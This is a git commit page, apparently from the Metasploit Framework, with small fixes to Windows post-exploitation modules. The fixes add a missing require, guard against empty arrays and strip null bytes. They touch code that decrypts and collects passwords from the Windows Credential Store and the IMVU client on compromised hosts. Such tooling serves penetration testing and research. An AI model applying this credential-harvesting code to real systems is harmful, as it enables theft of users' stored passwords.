fixes issues with with imvu, forgot the require statement.
git-svn-id: file:///home/svn/framework3/trunk@14140 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
ae9e8b7821
commit
4ab4a2cec7
|
@ -189,6 +189,8 @@ class Metasploit3 < Msf::Post
|
|||
arr_len = ret["Count"] * 4 if is_86
|
||||
arr_len = ret["Count"] * 8 unless is_86
|
||||
|
||||
return credentials unless arr_len > 0
|
||||
|
||||
#tell user what's going on
|
||||
print_status("#{ret["Count"]} credentials found in the Credential Store")
|
||||
if ret["Count"] > 0
|
||||
|
@ -228,7 +230,7 @@ class Metasploit3 < Msf::Post
|
|||
cred["password"] = "unsupported type"
|
||||
end
|
||||
#only add to array if there is a target name
|
||||
unless cred["targetname"] == "Error Decrypting"
|
||||
unless cred["targetname"] == "Error Decrypting" or cred["password"] == "unsupported type"
|
||||
print_status("Credential sucessfully decrypted for: #{cred["targetname"]}")
|
||||
credentials << cred
|
||||
end
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
##
|
||||
# $Id$
|
||||
# $Id: enum_imvu.rb 14100 2011-10-28 18:00:10Z thelightcosine $
|
||||
##
|
||||
|
||||
##
|
||||
|
@ -13,6 +13,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
@ -34,7 +35,7 @@ class Metasploit3 < Msf::Post
|
|||
'SecurityXploded Team', #www.SecurityXploded.com
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Version' => '$Revision: 14100 $',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
|
@ -143,7 +143,7 @@ class Metasploit3 < Msf::Post
|
|||
releasecontext = advapi32.CryptReleaseContext(acquirecontext['phProv'], 0)
|
||||
|
||||
data = decrypted['pbData']
|
||||
|
||||
data.gsub!(/[\x00]/, '')
|
||||
return data
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue